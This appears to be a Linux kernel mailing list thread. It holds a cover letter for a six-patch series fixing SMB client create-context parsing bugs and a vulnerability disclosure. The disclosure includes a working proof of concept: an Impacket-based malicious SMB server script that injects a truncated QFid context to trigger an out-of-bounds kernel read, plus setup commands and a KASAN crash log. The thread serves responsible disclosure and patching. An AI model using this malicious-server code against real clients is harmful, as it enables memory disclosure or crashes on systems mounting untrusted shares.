   6:   e8 58 b3 00 00          call   0xb363
   b:   8b 93 08 03 00 00       mov    0x308(%rbx),%edx
  11:   59                      pop    %rcx
  12:   5e                      pop    %rsi
  13:   48 83 f8 fc             cmp    $0xfffffffffffffffc,%rax
  17:   74 1a                   je     0x33
  19:   5b                      pop    %rbx
  1a:   c3                      ret
  1b:   0f 1f 84 00 00 00 00    nopl   0x0(%rax,%rax,1)
  22:   00
  23:   48 8b 44 24 10          mov    0x10(%rsp),%rax
  28:   0f 05                   syscall
  2a:*  5b                      pop    %rbx             <-- trapping instruction
  2b:   c3                      ret
  2c:   0f 1f 80 00 00 00 00    nopl   0x0(%rax)
  33:   83 e2 39                and    $0x39,%edx
  36:   83 fa 08                cmp    $0x8,%edx
  39:   75 de                   jne    0x19
  3b:   e8 23 ff ff ff          call   0xffffffffffffff63

Code starting with the faulting instruction
===========================================

   0:   5b                      pop    %rbx
   1:   c3                      ret
   2:   0f 1f 80 00 00 00 00    nopl   0x0(%rax)
   9:   83 e2 39                and    $0x39,%edx
   c:   83 fa 08                cmp    $0x8,%edx
   f:   75 de                   jne    0xffffffffffffffef
  11:   e8 23 ff ff ff          call   0xffffffffffffff39
[ 1344.781761] [  T11242] RSP: 002b:00007ffc7d27b080 EFLAGS: 00000202 ORIG_RAX: 0000000000000101
[ 1344.781773] [  T11242] RAX: ffffffffffffffda RBX: 00007fc594100780 RCX: 00007fc594192687
[ 1344.781776] [  T11242] RDX: 0000000000000000 RSI: 00007ffc7d27be31 RDI: ffffffffffffff9c
[ 1344.781778] [  T11242] RBP: 0000000000000001 R08: 0000000000000000 R09: 0000000000000000
[ 1344.781780] [  T11242] R10: 0000000000000000 R11: 0000000000000202 R12: 000056239611ba00
[ 1344.781782] [  T11242] R13: 00007ffc7d27b3c0 R14: 0000000000000000 R15: 0000000000040000
[ 1344.781814] [  T11242]  </TASK>
[ 1344.781876] [  T11242] Allocated by task 11240:
[ 1344.781885] [  T11242]  kasan_save_stack (mm/kasan/common.c:58)
[ 1344.781894] [  T11242]  kasan_save_track (mm/kasan/common.c:70 (discriminator 1) mm/kasan/common.c:79 (discriminator 1))
[ 1344.781900] [  T11242]  __kasan_slab_alloc (mm/kasan/common.c:463 (discriminator 1))
[ 1344.781905] [  T11242]  kmem_cache_alloc_noprof (mm/slub.c:4510 mm/slub.c:4886 mm/slub.c:4917)
[ 1344.781911] [  T11242]  mempool_alloc_noprof (mm/mempool.c:608)
[ 1344.781925] [  T11242]  cifs_small_buf_get (fs/smb/client/misc.c:237 (discriminator 2))
[ 1344.781931] [  T11242]  allocate_buffers (fs/smb/client/connect.c:654)
[ 1344.781938] [  T11242]  cifs_demultiplex_thread (fs/smb/client/connect.c:1287)
[ 1344.781943] [  T11242]  kthread (kernel/kthread.c:880)
[ 1344.781958] [  T11242]  ret_from_fork (arch/x86/kernel/process.c:196 (discriminator 1))
[ 1344.781973] [  T11242]  ret_from_fork_asm (arch/x86/entry/entry_64.S:258)
[ 1344.781996] [  T11242] The buggy address belongs to the object at ff1100007e4b2fc0
which belongs to the cache cifs_small_rq of size 448
[ 1344.782002] [  T11242] The buggy address is located 0 bytes to the right of

allocated 448-byte region [ff1100007e4b2fc0, ff1100007e4b3180)

[ 1344.782011] [  T11242] The buggy address belongs to the physical page:
[ 1344.782025] [  T11242] page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xff1100007e4b34c0 pfn:0x7e4b0
[ 1344.782036] [  T11242] head: order:2 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
[ 1344.782045] [  T11242] flags: 0xfff00000000240(workingset|head|node=0|zone=1|lastcpupid=0x7ff)
[ 1344.782056] [  T11242] page_type: f5(slab)
[ 1344.782069] [  T11242] raw: 00fff00000000240 ff11000105b8edc0 ffd400000418d610 ff11000105b90948
[ 1344.782075] [  T11242] raw: ff1100007e4b34c0 0000000800190013 00000000f5000000 0000000000000000
[ 1344.782080] [  T11242] head: 00fff00000000240 ff11000105b8edc0 ffd400000418d610 ff11000105b90948
[ 1344.782085] [  T11242] head: ff1100007e4b34c0 0000000800190013 00000000f5000000 0000000000000000
[ 1344.782089] [  T11242] head: 00fff00000000002 ffffffffffffff01 00000000ffffffff 00000000ffffffff
[ 1344.782094] [  T11242] head: ffffffffffffffff 0000000000000000 00000000ffffffff 0000000000000004
[ 1344.782098] [  T11242] page dumped because: kasan: bad access detected
[ 1344.782111] [  T11242] page_owner tracks the page as allocated
[ 1344.782643] [  T11242] page last allocated via order 2, migratetype Unmovable, gfp_mask 0xd2800(GFP_NOWAIT|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 10789, tgid 10789 (umount), ts 770745347902, free_ts 770742186938
[ 1344.784632] [  T11242]  post_alloc_hook (mm/page_alloc.c:2232 mm/page_alloc.c:2259)
[ 1344.784658] [  T11242]  get_page_from_freelist (mm/page_alloc.c:1738 mm/page_alloc.c:1904 mm/page_alloc.c:3234 mm/page_alloc.c:3410 mm/page_alloc.c:3945)
[ 1344.784668] [  T11242]  __alloc_frozen_pages_noprof (include/linux/gfp.h:272 (discriminator 1) include/linux/gfp.h:287 (discriminator 1))
[ 1344.784677] [  T11242]  alloc_pages_mpol+0x14a/0x440
[ 1344.784697] [  T11242]  new_slab (mm/slub.c:1604)
[ 1344.784712] [  T11242]  ___slab_alloc (mm/slub.c:4448)
[ 1344.784722] [  T11242]  kmem_cache_alloc_noprof (arch/x86/include/asm/preempt.h:95 (discriminator 1) mm/slub.c:4771 (discriminator 1) mm/slub.c:4883 (discriminator 1) mm/slub.c:4950 (discriminator 1))
[ 1344.784731] [  T11242]  mempool_alloc_noprof (mm/mempool.c:608)
[ 1344.784741] [  T11242]  cifs_small_buf_get (fs/smb/client/misc.c:237 (discriminator 2))
[ 1344.784751] [  T11242]  __smb2_plain_req_init (fs/smb/client/smb2pdu.c:565)
[ 1344.784761] [  T11242]  SMB2_tdis (fs/smb/client/smb2pdu.c:3097)
[ 1344.784772] [  T11242]  cifs_put_tcon (fs/smb/client/connect.c:2911 (discriminator 1))
[ 1344.784781] [  T11242]  cifs_put_tlink (arch/x86/include/asm/bitops.h:202 arch/x86/include/asm/bitops.h:232 include/asm-generic/bitops/instrumented-non-atomic.h:142 fs/smb/client/connect.c:2905)
[ 1344.784790] [  T11242]  cifs_umount (fs/smb/client/connect.c:4010 (discriminator 1))
[ 1344.784799] [  T11242]  deactivate_locked_super (fs/super.c:485)
[ 1344.784821] [  T11242]  cleanup_mnt (include/linux/llist.h:283 (discriminator 5) fs/namespace.c:1325 (discriminator 5))
[ 1344.784837] [  T11242] page last free pid 10789 tgid 10789 stack trace:
[ 1344.785506] [  T11242]  __free_frozen_pages (mm/page_alloc.c:5462)
[ 1344.785518] [  T11242]  stack_depot_save_flags (lib/stackdepot.c:473 lib/stackdepot.c:706)
[ 1344.785564] [  T11242]  set_track_prepare (arch/x86/include/asm/preempt.h:95 (discriminator 1) include/linux/bit_spinlock.h:41 (discriminator 1) mm/slub.c:628 (discriminator 1) mm/slub.c:655 (discriminator 1))
[ 1344.785574] [  T11242]  ___slab_alloc (mm/slub.c:4441)
[ 1344.785584] [  T11242]  __kmalloc_cache_noprof (mm/slub.c:5777)
[ 1344.785595] [  T11242]  kobject_uevent_env (include/linux/slab.h:950 include/linux/slab.h:1188 lib/kobject_uevent.c:543)
[ 1344.785612] [  T11242]  device_del (drivers/base/core.c:1642 drivers/base/core.c:3884)
[ 1344.785660] [  T11242]  device_unregister (drivers/base/core.c:3922)
[ 1344.785670] [  T11242]  bdi_unregister (mm/backing-dev.c:1013)
[ 1344.785690] [  T11242]  generic_shutdown_super (fs/super.c:666)
[ 1344.785700] [  T11242]  kill_anon_super (fs/super.c:1293)
[ 1344.785709] [  T11242]  cifs_kill_sb (fs/smb/client/cifsfs.c:349)
[ 1344.785719] [  T11242]  deactivate_locked_super (fs/super.c:485)
[ 1344.785728] [  T11242]  cleanup_mnt (include/linux/llist.h:283 (discriminator 5) fs/namespace.c:1325 (discriminator 5))
[ 1344.785739] [  T11242]  task_work_run (kernel/task_work.c:232)
[ 1344.785755] [  T11242]  exit_to_user_mode_loop (kernel/entry/syscall_user_dispatch.c:114 (discriminator 1))
[ 1344.785783] [  T11242] Memory state around the buggy address:
[ 1344.785790] [  T11242]  ff1100007e4b3080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[ 1344.785799] [  T11242]  ff1100007e4b3100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[ 1344.785807] [  T11242] >ff1100007e4b3180: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[ 1344.785813] [  T11242]                    ^
[ 1344.785821] [  T11242]  ff1100007e4b3200: fc fc fc fc fc fc fc fc fa fb fb fb fb fb fb fb
[ 1344.785828] [  T11242]  ff1100007e4b3280: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[ 1344.785835] [  T11242] ==================================================================
[ 1344.785843] [  T11242] Disabling lock debugging due to kernel taint

-----END crash log-----

Best regards,
Zihan Xi

changes in v5:
- Guard the final preauth-hash update in patch 5 when resp_iov is NULL,
addressing the kernel test robot Smatch report:
https://lore.kernel.org/r/[email protected]/
- v4 Link: https://lore.kernel.org/all/[email protected]/
changes in v4:
- Bound NameOffset + NameLength by the current context, reject offsets
before the context header, and skip known-handler dispatch for zero
DataLength.
- Defer response-buffer handoff until processed MIDs are synchronized and
preserve earlier CREATE responses for cancelled-mid cleanup on failures.
- Account num_remote_opens only after close-work allocation succeeds and
before queueing the asynchronous close.
- Preserve SMB2_OP_OPEN_QUERY parser errors and document the overlap with
Frank Sorenson's related smb2_parse_contexts() patch.
- Update the QEMU user-mode network and guest interface instructions.
- v3 Link: https://lore.kernel.org/all/[email protected]/
changes in v3:
- Split the POSIX handler check into a separate patch and corrected the
parser Fixes history.
- v2 Link: https://lore.kernel.org/all/[email protected]/
changes in v2:
- Bound each response context by Next, read QFid data from DataOffset,
and extend lease validation through LeaseFlags.
- v1 Link: https://lore.kernel.org/all/eb1bc35611f91bd10a4772400b37fac26f660956.1782579150.git.xizh2024@lzu.edu.cn/

Zihan Xi (6):
smb: client: fix create context out-of-bounds reads
smb: client: validate POSIX create context length
smb: client: close handle after create-context parsing failure
smb: client: clean up failed cached directory opens
smb: client: close completed creates on compound wait errors
smb: client: preserve create-context parsing errors

 fs/smb/client/cached_dir.c | 32 ++++++++++++------
 fs/smb/client/smb2inode.c  |  6 ++--
 fs/smb/client/smb2misc.c   |  9 +++--
 fs/smb/client/smb2ops.c    | 28 +++++++++++-----
 fs/smb/client/smb2pdu.c    | 54 +++++++++++++++++++++++-------
 fs/smb/client/transport.c  | 67 ++++++++++++++++++++++++++++++--------
 6 files changed, 148 insertions(+), 48 deletions(-)
Quoted 3 lines

--
2.43.0

Hi Paulo and Namjae,

I noticed that I sent the v5 series with the wrong primary recipient. The series is already on lore under
cover Message-ID
<[email protected]>.

Frank's feedback on v3 asked me to send future versions to Paulo and copy Namjae. Sorry for missing that.
I am sending this note to correct the direct notification.

Best regards,
Zihan

author
#8 lore raw
Quoted 492 lines · zihan xi
Quoted 479 lines · Zihan Xi

Hi Linux kernel maintainers,

We found and validated an issue in fs/smb/client/smb2pdu.c. A malicious SMB server can send a malformed SMB2 CREATE response to a CIFS client and trigger an out-of-bounds read. We validated this with an Impacket server on the QEMU host and a root CIFS client in the guest; CIFS does not set FS_USERNS_MOUNT, so the mount must run as root. For valid SMB responses, the series preserves existing request handling. No impact was observed in the tested CIFS mount/read path; a full filesystem regression suite was not run.

We will provide detailed information about the bug in this email, along with a PoC to trigger it.

---- details below ----

Bug details:

smb2_parse_contexts() validates the complete create-context area but does not limit each context record to its Next field before dispatching it. A malformed chain can therefore allow a handler to read bytes beyond the current context. The QFid handler also cast the context to a full response structure without verifying that DataLength covered DiskFileId, so a truncated QFid context could read past the response allocation. A non-terminal Next that does not leave a complete following context header is rejected as malformed.

The parser rejects NameOffset and DataOffset values before the context header, bounds the name range by the current record with checked arithmetic, and dispatches known handlers only when DataLength is non-zero.

The SMB2/SMB3 lease parsers also read LeaseState and LeaseFlags at canonical offsets rather than from DataOffset. Patch 1 limits each record to Next, reads QFid data only when its payload covers DiskFileId, and parses lease data from DataOffset with the exact v1/v2 lease payload sizes. A size mismatch skips lease parsing without failing the open. These sizes match the fixed payload sizes used by the CIFS request builders and ksmbd; a future extension must update the parser explicitly.

parse_posix_ctxt() reads nlink, reparse_tag, and mode before checking that the POSIX data contains them. The in-tree smb2_open_file() path passes a NULL posix pointer, so ordinary opens do not reach this handler. Patch 2 still checks the handler's minimum data length and preserves soft failure for malformed optional metadata.

Tracing the parser callers and compound error paths through cleanup and return-value handling also exposed the additional independent issues fixed by patches 3 through 6.

After a successful CREATE, SMB2_open() increments num_remote_opens before parsing its contexts. Patch 3 calls SMB2_close() after a parsing failure. SMB2_close() decrements num_remote_opens only after a confirmed successful close response. If a close is interrupted or transport fails, the existing best-effort behavior retains conservative accounting when the remote result is unknown.

open_cached_dir() sends CREATE and QUERY_INFO as a compound request. Patch 4 validates the CREATE response before using its fields, records the CREATE FIDs, marks the handle open, and increments the remote-open count before processing later-command errors. It also handles -EREMCHG before response validation, so a missing response does not hide the reconnect request. Patch 5 marks earlier completed mids as cancelled when a later compound wait is interrupted or MID synchronization or state validation fails. It keeps their response buffers attached until synchronization is complete, so the existing cancelled-mid cleanup can inspect each successful CREATE and queue SMB2_close(). The remote-open count is incremented only after close work allocation succeeds and before queueing it, so an OOM does not leave an unmatched count. It marks smb2_unlink()'s create+close compound so it is not closed again. Non-CREATE responses and compounds with a close keep their existing behavior.

Patch 6 preserves a create-context parsing error in the SMB2_OP_OPEN_QUERY compound path while later responses are processed.

The series keeps separate Fixes tags for the independent root causes, with each tag pointing to the earliest commit that introduced its root cause.

The parser changes overlap with Frank Sorenson's related bounds-checking patch for smb2_parse_contexts():
https://lore.kernel.org/all/[email protected]/
This series incorporates the NameOffset, Next, and zero-data dispatch checks while retaining the stricter per-record successor-header validation and the handler-specific payload checks.

The reproducer uses an Impacket SMB server that modifies the SMB2 CREATE response. packetdrill is not used because it cannot implement the required stateful SMB server or rewrite this response.

Reproducer:

From the PoC directory:

gcc -O2 -static -o poc poc.c
chmod +x poc.sh
./poc

The wrapper starts the Impacket server on the host at tcp/4445. The validation uses QEMU user-mode networking (-netdev user), so no additional veth, network namespace, or TCP proxy is needed. Configure the guest interface and route as follows:

ip link set eth0 up
ip addr add 10.0.2.15/24 dev eth0
ip route add default via 10.0.2.2

Then, as root in the guest, mount the share and read the trigger file:

mkdir -p /mnt/test
mount -t cifs //10.0.2.2/SHARE /mnt/test \
-o user=,password=,vers=2.0,sec=ntlmssp,port=4445,noperm,soft
cat /mnt/test/probe >/dev/null

The C wrapper execs ./poc.sh, so poc.sh must retain its executable bit (or be made executable with chmod +x as shown). On first use, the wrapper creates a virtual environment and installs Impacket 0.13.1. The initial setup requires network access to the configured package index; an existing virtual environment needs no installation.
The guest-side mount is shown separately because CIFS does not set FS_USERNS_MOUNT; the validated mount/read commands run as root in the guest.

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment. ------BEGIN poc.c------
#include <stdio.h>
#include <unistd.h>

int main(int argc, char **argv)

{
        (void)argc;
        argv[0] = "./poc.sh";
        execv(argv[0], argv);
        perror("execv ./poc.sh");
        return 127;
}

------END poc.c--------

------BEGIN poc.sh------
#!/bin/bash
set -euo pipefail

SCRIPT_DIR=$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd) VENV_DIR="$SCRIPT_DIR/.venv-impacket"

if [[ ! -x "$VENV_DIR/bin/python" ]]; then
python3 -m venv "$VENV_DIR"
"$VENV_DIR/bin/pip" install impacket==0.13.1
fi

exec "$VENV_DIR/bin/python" "$SCRIPT_DIR/poc.py" "$@" ------END poc.sh--------

------BEGIN poc.py------
#!/usr/bin/env python3
import logging
import signal
import struct
from pathlib import Path

from impacket import smbserver
from impacket import smb3structs as smb2
from impacket.nt_errors import STATUS_SUCCESS

PORT = 4445
SHARE_NAME = "SHARE"
TARGET_NAME = "probe"
TARGET_OFFSET = 424
CONTEXT = struct.pack("<IHHHHI4s4x", 0, 16, 4, 0, 24, 0, b"QFid") ALIGN_PAD = b"\x00" * (TARGET_OFFSET - 152)

def prepare_share(share_dir: Path) -> None:

    share_dir.mkdir(parents=True, exist_ok=True)
    (share_dir / "placeholder").touch()
    (share_dir / TARGET_NAME).write_bytes(b"x")

def main() -> None:
base_dir = Path(__file__).resolve().parent
share_dir = base_dir / "share"
prepare_share(share_dir)

logging.basicConfig(level=logging.INFO, format="%(levelname)s:%(message)s")

original = smbserver.SMB2Commands.smb2Create

def malicious_smb2_create(conn_id, smb_server, recv_packet):
req = smb2.SMB2Create(recv_packet["Data"]) raw_name = req["Buffer"][: req["NameLength"]] name = smbserver.normalize_path(raw_name.decode("utf-16le"))

commands, packets, error = original(conn_id, smb_server, recv_packet) print(f"CREATE name={name!r} err=0x{error:08x}", flush=True)

if error == STATUS_SUCCESS and name == TARGET_NAME:
resp = commands[0]
resp["CreateContextsOffset"] = TARGET_OFFSET resp["CreateContextsLength"] = len(CONTEXT)
resp["AlignPad"] = ALIGN_PAD
resp["Buffer"] = CONTEXT
print(
f"injected truncated QFid context; packet_len={64 + len(resp.getData())}", flush=True,
)

return commands, packets, error

smbserver.SMB2Commands.smb2Create = staticmethod(malicious_smb2_create)

server = smbserver.SimpleSMBServer(listenAddress="0.0.0.0", listenPort=PORT) server.setSMB2Support(True)
server.addShare(SHARE_NAME, str(share_dir), readOnly="yes") server.setLogFile("/dev/stdout")

print(f"Serving //10.0.2.2/{SHARE_NAME} on tcp/{PORT}", flush=True) print("Trigger file: probe", flush=True)

signal.signal(signal.SIGTERM, lambda _sig, _frame: (_ for _ in ()).throw(SystemExit(0))) try:
server.start()
except (KeyboardInterrupt, SystemExit):
pass

if __name__ == "__main__":

    main()

------END poc.py--------

The following excerpt is from the output of scripts/decode_stacktrace.sh when run on the unpatched baseline log. The command used was:

./scripts/decode_stacktrace.sh vmlinux source-tree < baseline.log

The excerpt below is the resulting output.
----BEGIN crash log----

[ 1344.780735] [  T11242] ==================================================================
[ 1344.780750] [  T11242] BUG: KASAN: slab-out-of-bounds in smb2_parse_contexts (fs/smb/client/smb2pdu.c:3337)
[ 1344.780838] [  T11242] Read of size 8 at addr ff1100007e4b3180 by task cat/11242
[ 1344.780880] [  T11242] CPU: 0 UID: 0 PID: 11242 Comm: cat Not tainted 7.0.0-08308-g9e1e9d660255 #1 PREEMPT(full)
[ 1344.780887] [  T11242] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 1344.780907] [  T11242] Call Trace:
[ 1344.780918] [  T11242]  <TASK>
[ 1344.780925] [  T11242]  dump_stack_lvl (lib/dump_stack.c:88)
[ 1344.780980] [  T11242]  print_report (mm/kasan/report.c:288 (discriminator 1) mm/kasan/report.c:376 (discriminator 1) mm/kasan/report.c:482 (discriminator 1))
[ 1344.781004] [  T11242]  ? smb2_parse_contexts (fs/smb/client/smb2pdu.c:3337)
[ 1344.781009] [  T11242]  ? srso_alias_return_thunk (arch/x86/include/asm/nospec-branch.h:381)
[ 1344.781030] [  T11242]  ? __virt_addr_valid (arch/x86/mm/physaddr.c:55)
[ 1344.781052] [  T11242]  ? smb2_parse_contexts (fs/smb/client/smb2pdu.c:3337)
[ 1344.781057] [  T11242]  kasan_report (mm/kasan/report.c:640)
[ 1344.781065] [  T11242]  ? smb2_parse_contexts (fs/smb/client/smb2pdu.c:3337)
[ 1344.781077] [  T11242]  smb2_parse_contexts (fs/smb/client/smb2pdu.c:3337)
[ 1344.781085] [  T11242]  ? _raw_spin_unlock (include/asm-generic/qspinlock.h:128 (discriminator 4) include/linux/spinlock.h:205 (discriminator 4) include/linux/spinlock_api_smp.h:168 (discriminator 4) kernel/locking/spinlock.c:190 (discriminator 4))
[ 1344.781101] [  T11242]  SMB2_open (fs/smb/client/smb2pdu.c:3344)
[ 1344.781107] [  T11242]  ? cifsConvertToUTF16 (fs/smb/client/cifs_unicode.c:419 fs/smb/client/cifs_unicode.c:491)
[ 1344.781129] [  T11242]  ? __pfx_SMB2_open+0x10/0x10
[ 1344.781135] [  T11242]  ? srso_alias_return_thunk (arch/x86/include/asm/nospec-branch.h:381)
[ 1344.781139] [  T11242]  ? srso_alias_return_thunk (arch/x86/include/asm/nospec-branch.h:381)
[ 1344.781145] [  T11242]  ? srso_alias_return_thunk (arch/x86/include/asm/nospec-branch.h:381)
[ 1344.781149] [  T11242]  ? __kmalloc_noprof (arch/x86/include/asm/atomic.h:23 include/linux/atomic/atomic-arch-fallback.h:457 include/linux/jump_label.h:248 mm/slab.h:458 mm/slub.c:4558 mm/slub.c:5392)
[ 1344.781164] [  T11242]  ? srso_alias_return_thunk (arch/x86/include/asm/nospec-branch.h:381)
[ 1344.781167] [  T11242]  ? cifs_strndup_to_utf16 (fs/smb/client/cifs_unicode.c:628)
[ 1344.781184] [  T11242]  ? srso_alias_return_thunk (arch/x86/include/asm/nospec-branch.h:381)
[ 1344.781206] [  T11242]  ? cifs_convert_path_to_utf16 (fs/smb/client/smb2misc.c:457)
[ 1344.781211] [  T11242]  ? srso_alias_return_thunk (arch/x86/include/asm/nospec-branch.h:381)
[ 1344.781216] [  T11242]  ? __pfx_cifs_convert_path_to_utf16+0x10/0x10
[ 1344.781226] [  T11242]  ? smb2_open_file (fs/smb/client/smb2file.c:184)
[ 1344.781231] [  T11242]  smb2_open_file (fs/smb/client/smb2file.c:184)
[ 1344.781242] [  T11242]  ? __pfx_smb2_open_file+0x10/0x10
[ 1344.781247] [  T11242]  ? srso_alias_return_thunk (arch/x86/include/asm/nospec-branch.h:381)
[ 1344.781250] [  T11242]  ? __lock_acquire+0x45c/0x25f0
[ 1344.781278] [  T11242]  ? srso_alias_return_thunk (arch/x86/include/asm/nospec-branch.h:381)
[ 1344.781291] [  T11242]  ? srso_alias_return_thunk (arch/x86/include/asm/nospec-branch.h:381)
[ 1344.781295] [  T11242]  ? __asan_memcpy (mm/kasan/shadow.c:105 (discriminator 1))
[ 1344.781316] [  T11242]  cifs_open (fs/smb/client/file.c:1155 (discriminator 2))
[ 1344.781354] [  T11242]  ? __pfx_cifs_open+0x10/0x10
[ 1344.781359] [  T11242]  ? do_sys_openat2 (include/linux/file.h:164 fs/open.c:1364)
[ 1344.781373] [  T11242]  ? do_syscall_64 (include/linux/irq-entry-common.h:207 include/linux/irq-entry-common.h:238 include/linux/entry-common.h:328 arch/x86/entry/syscall_64.c:100)
[ 1344.781409] [  T11242]  ? kasan_quarantine_put (arch/x86/include/asm/irqflags.h:158 (discriminator 1) mm/kasan/quarantine.c:234 (discriminator 1))
[ 1344.781413] [  T11242]  ? srso_alias_return_thunk (arch/x86/include/asm/nospec-branch.h:381)
[ 1344.781417] [  T11242]  ? lockdep_hardirqs_on+0x7b/0x110
[ 1344.781463] [  T11242]  ? srso_alias_return_thunk (arch/x86/include/asm/nospec-branch.h:381)
[ 1344.781469] [  T11242]  ? srso_alias_return_thunk (arch/x86/include/asm/nospec-branch.h:381)
[ 1344.781485] [  T11242]  ? bpf_trampoline_6442634119+0x9f/0xed
[ 1344.781503] [  T11242]  ? do_dentry_open (fs/open.c:915)
[ 1344.781510] [  T11242]  do_dentry_open (fs/open.c:915)
[ 1344.781515] [  T11242]  ? __pfx_cifs_open+0x10/0x10
[ 1344.781521] [  T11242]  ? cifs_permission (fs/smb/client/cifsfs.c:432 (discriminator 1))
[ 1344.781537] [  T11242]  vfs_open (fs/open.c:1098)
[ 1344.781541] [  T11242]  ? srso_alias_return_thunk (arch/x86/include/asm/nospec-branch.h:381)
[ 1344.781549] [  T11242]  path_openat (fs/namei.c:5179)
[ 1344.781572] [  T11242]  ? __pfx_path_openat+0x10/0x10
[ 1344.781581] [  T11242]  ? srso_alias_return_thunk (arch/x86/include/asm/nospec-branch.h:381)
[ 1344.781584] [  T11242]  ? __lock_acquire+0x45c/0x25f0
[ 1344.781594] [  T11242]  do_file_open (fs/namei.c:4901)
[ 1344.781601] [  T11242]  ? __pfx_do_file_open+0x10/0x10
[ 1344.781606] [  T11242]  ? srso_alias_return_thunk (arch/x86/include/asm/nospec-branch.h:381)
[ 1344.781627] [  T11242]  ? srso_alias_return_thunk (arch/x86/include/asm/nospec-branch.h:381)
[ 1344.781631] [  T11242]  ? alloc_fd (fs/file.c:1297)
[ 1344.781651] [  T11242]  ? do_getname+0x6b/0x2d0
[ 1344.781658] [  T11242]  do_sys_openat2 (include/linux/file.h:164 fs/open.c:1364)
[ 1344.781663] [  T11242]  ? __pfx_do_sys_openat2+0x10/0x10
[ 1344.781666] [  T11242]  ? __pfx___do_sys_newfstat+0x10/0x10
[ 1344.781683] [  T11242]  __x64_sys_openat (fs/open.c:1389)
[ 1344.781691] [  T11242]  ? __pfx___x64_sys_openat+0x10/0x10
[ 1344.781698] [  T11242]  ? srso_alias_return_thunk (arch/x86/include/asm/nospec-branch.h:381)
[ 1344.781702] [  T11242]  ? rcu_is_watching (include/linux/context_tracking.h:128 kernel/rcu/tree.c:752)
[ 1344.781713] [  T11242]  ? srso_alias_return_thunk (arch/x86/include/asm/nospec-branch.h:381)
[ 1344.781717] [  T11242]  ? do_syscall_64 (arch/x86/entry/syscall_64.c:63 arch/x86/entry/syscall_64.c:94)
[ 1344.781723] [  T11242]  do_syscall_64 (include/linux/irq-entry-common.h:207 include/linux/irq-entry-common.h:238 include/linux/entry-common.h:328 arch/x86/entry/syscall_64.c:100)
[ 1344.781728] [  T11242]  ? irqentry_exit (include/linux/irq-entry-common.h:507 include/linux/irq-entry-common.h:550 kernel/entry/common.c:164)
[ 1344.781735] [  T11242]  entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:150)
[ 1344.781740] [  T11242] RIP: 0033:0x7fc594192687
[ 1344.781757] [  T11242] Code: 48 89 fa 4c 89 df e8 58 b3 00 00 8b 93 08 03 00 00 59 5e 48 83 f8 fc 74 1a 5b c3 0f 1f 84 00 00 00 00 00 48 8b 44 24 10 0f 05 <5b> c3 0f 1f 80 00 00 00 00 83 e2 39 83 fa 08 75 de e8 23 ff ff ff
All code
========
   0:   48 89 fa                mov    %rdi,%rdx
   3:   4c 89 df                mov    %r11,%rdi
   6:   e8 58 b3 00 00          call   0xb363
   b:   8b 93 08 03 00 00       mov    0x308(%rbx),%edx
  11:   59                      pop    %rcx
  12:   5e                      pop    %rsi
  13:   48 83 f8 fc             cmp    $0xfffffffffffffffc,%rax
  17:   74 1a                   je     0x33
  19:   5b                      pop    %rbx
  1a:   c3                      ret
  1b:   0f 1f 84 00 00 00 00    nopl   0x0(%rax,%rax,1)
  22:   00
  23:   48 8b 44 24 10          mov    0x10(%rsp),%rax
  28:   0f 05                   syscall
  2a:*  5b                      pop    %rbx             <-- trapping instruction
  2b:   c3                      ret
  2c:   0f 1f 80 00 00 00 00    nopl   0x0(%rax)
  33:   83 e2 39                and    $0x39,%edx
  36:   83 fa 08                cmp    $0x8,%edx
  39:   75 de                   jne    0x19
  3b:   e8 23 ff ff ff          call   0xffffffffffffff63

Code starting with the faulting instruction
===========================================

   0:   5b                      pop    %rbx
   1:   c3                      ret
   2:   0f 1f 80 00 00 00 00    nopl   0x0(%rax)
   9:   83 e2 39                and    $0x39,%edx
   c:   83 fa 08                cmp    $0x8,%edx
   f:   75 de                   jne    0xffffffffffffffef
  11:   e8 23 ff ff ff          call   0xffffffffffffff39
[ 1344.781761] [  T11242] RSP: 002b:00007ffc7d27b080 EFLAGS: 00000202 ORIG_RAX: 0000000000000101
[ 1344.781773] [  T11242] RAX: ffffffffffffffda RBX: 00007fc594100780 RCX: 00007fc594192687
[ 1344.781776] [  T11242] RDX: 0000000000000000 RSI: 00007ffc7d27be31 RDI: ffffffffffffff9c
[ 1344.781778] [  T11242] RBP: 0000000000000001 R08: 0000000000000000 R09: 0000000000000000
[ 1344.781780] [  T11242] R10: 0000000000000000 R11: 0000000000000202 R12: 000056239611ba00
[ 1344.781782] [  T11242] R13: 00007ffc7d27b3c0 R14: 0000000000000000 R15: 0000000000040000
[ 1344.781814] [  T11242]  </TASK>
[ 1344.781876] [  T11242] Allocated by task 11240:
[ 1344.781885] [  T11242]  kasan_save_stack (mm/kasan/common.c:58)
[ 1344.781894] [  T11242]  kasan_save_track (mm/kasan/common.c:70 (discriminator 1) mm/kasan/common.c:79 (discriminator 1))
[ 1344.781900] [  T11242]  __kasan_slab_alloc (mm/kasan/common.c:463 (discriminator 1))
[ 1344.781905] [  T11242]  kmem_cache_alloc_noprof (mm/slub.c:4510 mm/slub.c:4886 mm/slub.c:4917)
[ 1344.781911] [  T11242]  mempool_alloc_noprof (mm/mempool.c:608)
[ 1344.781925] [  T11242]  cifs_small_buf_get (fs/smb/client/misc.c:237 (discriminator 2))
[ 1344.781931] [  T11242]  allocate_buffers (fs/smb/client/connect.c:654)
[ 1344.781938] [  T11242]  cifs_demultiplex_thread (fs/smb/client/connect.c:1287)
[ 1344.781943] [  T11242]  kthread (kernel/kthread.c:880)
[ 1344.781958] [  T11242]  ret_from_fork (arch/x86/kernel/process.c:196 (discriminator 1))
[ 1344.781973] [  T11242]  ret_from_fork_asm (arch/x86/entry/entry_64.S:258)
[ 1344.781996] [  T11242] The buggy address belongs to the object at ff1100007e4b2fc0
which belongs to the cache cifs_small_rq of size 448
[ 1344.782002] [  T11242] The buggy address is located 0 bytes to the right of

allocated 448-byte region [ff1100007e4b2fc0, ff1100007e4b3180)

[ 1344.782011] [  T11242] The buggy address belongs to the physical page:
